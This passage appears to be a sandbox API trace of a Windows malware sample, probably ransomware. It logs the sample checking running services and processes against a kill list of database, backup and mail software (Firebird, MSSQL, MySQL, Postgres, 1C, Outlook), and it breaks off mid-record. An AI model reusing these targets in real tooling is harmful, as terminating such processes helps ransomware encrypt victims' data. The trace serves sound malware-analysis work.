[0052.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0052.965] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0052.965] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0052.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0052.965] lstrlenW (lpString="swprv") returned 5 [0052.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0052.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0052.966] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0052.966] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0052.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0052.966] lstrlenW (lpString="SysMain") returned 7 [0052.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0052.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0052.966] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0052.966] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0052.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0052.966] lstrlenW (lpString="Themes") returned 6 [0052.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0052.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0052.966] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0052.966] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0052.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0052.966] lstrlenW (lpString="TrkWks") returned 6 [0052.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0052.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0052.966] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0052.966] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0052.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0052.966] lstrlenW (lpString="UxSms") returned 5 [0052.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0052.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0052.966] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0052.966] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0052.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0052.966] lstrlenW (lpString="VSS") returned 3 [0052.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0052.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0052.966] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0052.966] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0052.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0052.966] lstrlenW (lpString="WdiServiceHost") returned 14 [0052.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0052.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0052.967] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0052.967] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0052.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0052.967] lstrlenW (lpString="WdiSystemHost") returned 13 [0052.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0052.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0052.967] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0052.967] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0052.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0052.967] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0052.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0052.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0052.967] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0052.967] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0052.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0052.967] lstrlenW (lpString="Winmgmt") returned 7 [0052.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0052.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0052.967] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0052.967] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0052.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0052.967] lstrlenW (lpString="WPDBusEnum") returned 10 [0052.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0052.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0052.967] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0052.967] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0052.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0052.967] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e478 | out: hHeap=0x510000) returned 1 [0052.967] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x214 [0052.972] Process32FirstW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0052.972] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0052.973] lstrlenW (lpString="System") returned 6 [0052.973] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0052.973] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0052.973] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0052.973] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0052.973] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0052.973] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0052.973] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0052.973] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0052.974] lstrlenW (lpString="smss.exe") returned 8 [0052.974] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0052.974] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0052.974] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0052.974] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0052.974] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0052.974] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0052.974] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0052.974] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0052.974] lstrlenW (lpString="csrss.exe") returned 9 [0052.974] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0052.974] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0052.974] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0052.974] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0052.974] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0052.975] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0052.975] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0052.975] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0052.975] lstrlenW (lpString="wininit.exe") returned 11 [0052.975] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0052.975] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0052.975] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0052.975] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0052.976] lstrlenW (lpString="csrss.exe") returned 9 [0052.976] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0052.976] lstrlenW (lpString="winlogon.exe") returned 12 [0052.976] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0052.977] lstrlenW (lpString="services.exe") returned 12 [0052.977] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0052.977] lstrlenW (lpString="lsass.exe") returned 9 [0052.977] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0052.978] lstrlenW (lpString="lsm.exe") returned 7 [0052.978] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.979] lstrlenW (lpString="svchost.exe") returned 11 [0052.979] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.979] lstrlenW (lpString="svchost.exe") returned 11 [0052.979] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.980] lstrlenW (lpString="svchost.exe") returned 11 [0052.980] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.980] lstrlenW (lpString="svchost.exe") returned 11 [0052.980] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.981] lstrlenW (lpString="svchost.exe") returned 11 [0052.981] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0052.981] lstrlenW (lpString="audiodg.exe") returned 11 [0052.981] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.982] lstrlenW (lpString="svchost.exe") returned 11 [0052.982] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.982] lstrlenW (lpString="svchost.exe") returned 11 [0052.982] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0052.983] lstrlenW (lpString="dwm.exe") returned 7 [0052.983] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0052.983] lstrlenW (lpString="explorer.exe") returned 12 [0052.983] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0052.984] lstrlenW (lpString="spoolsv.exe") returned 11 [0052.984] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0052.984] lstrlenW (lpString="taskhost.exe") returned 12 [0052.984] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.985] lstrlenW (lpString="svchost.exe") returned 11 [0052.985] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0052.985] lstrlenW (lpString="taskeng.exe") returned 11 [0052.986] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0052.986] lstrlenW (lpString="taskhost.exe") returned 12 [0052.986] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear.exe")) returned 1 [0052.987] lstrlenW (lpString="dear.exe") returned 8 [0052.987] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="b costa.exe")) returned 1 [0052.987] lstrlenW (lpString="b costa.exe") returned 11 [0052.987] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc lock.exe")) returned 1 [0052.988] lstrlenW (lpString="rc lock.exe") returned 11 [0052.988] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="golden_bt_olive.exe")) returned 1 [0052.988] lstrlenW (lpString="golden_bt_olive.exe") returned 19 [0052.988] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hugown.exe")) returned 1 [0052.989] lstrlenW (lpString="hugown.exe") returned 10 [0052.989] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bless_gear_inquiry.exe")) returned 1 [0052.989] lstrlenW (lpString="bless_gear_inquiry.exe") returned 22 [0052.989] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ted_paragraph.exe")) returned 1 [0052.990] lstrlenW (lpString="ted_paragraph.exe") returned 17 [0052.990] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="locked welsh.exe")) returned 1 [0052.991] lstrlenW (lpString="locked welsh.exe") returned 16 [0052.991] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="votejoyceinstructors.exe")) returned 1 [0052.991] lstrlenW (lpString="votejoyceinstructors.exe") returned 24 [0052.991] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lebanon_executives.exe")) returned 1 [0052.992] lstrlenW (lpString="lebanon_executives.exe") returned 22 [0052.992] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="planners.exe")) returned 1 [0053.093] lstrlenW (lpString="planners.exe") returned 12 [0053.093] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="agreements.exe")) returned 1 [0053.094] lstrlenW (lpString="agreements.exe") returned 14 [0053.094] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tray.exe")) returned 1 [0053.094] lstrlenW (lpString="tray.exe") returned 8 [0053.094] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wp std.exe")) returned 1 [0053.095] lstrlenW (lpString="wp std.exe") returned 10 [0053.095] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lesser.exe")) returned 1 [0053.095] lstrlenW (lpString="lesser.exe") returned 10 [0053.095] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-tissue.exe")) returned 1 [0053.096] lstrlenW (lpString="right-tissue.exe") returned 16 [0053.096] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bunch.exe")) returned 1 [0053.096] lstrlenW (lpString="bunch.exe") returned 9 [0053.096] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jam.exe")) returned 1 [0053.097] lstrlenW (lpString="jam.exe") returned 7 [0053.097] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chooseincidence.exe")) returned 1 [0053.097] lstrlenW (lpString="chooseincidence.exe") returned 19 [0053.097] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="numericalrear.exe")) returned 1 [0053.098] lstrlenW (lpString="numericalrear.exe") returned 17 [0053.098] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uponpharmacologyintermediate.exe")) returned 1 [0053.098] lstrlenW (lpString="uponpharmacologyintermediate.exe") returned 32 [0053.098] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressed-plate-fbi.exe")) returned 1 [0053.099] lstrlenW (lpString="expressed-plate-fbi.exe") returned 23 [0053.099] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="come_wave.exe")) returned 1 [0053.099] lstrlenW (lpString="come_wave.exe") returned 13 [0053.099] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0053.100] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0053.100] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0053.100] lstrlenW (lpString="uyuquk.exe") returned 10 [0053.100] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x970, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0053.101] lstrlenW (lpString="cmd.exe") returned 7 [0053.101] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, 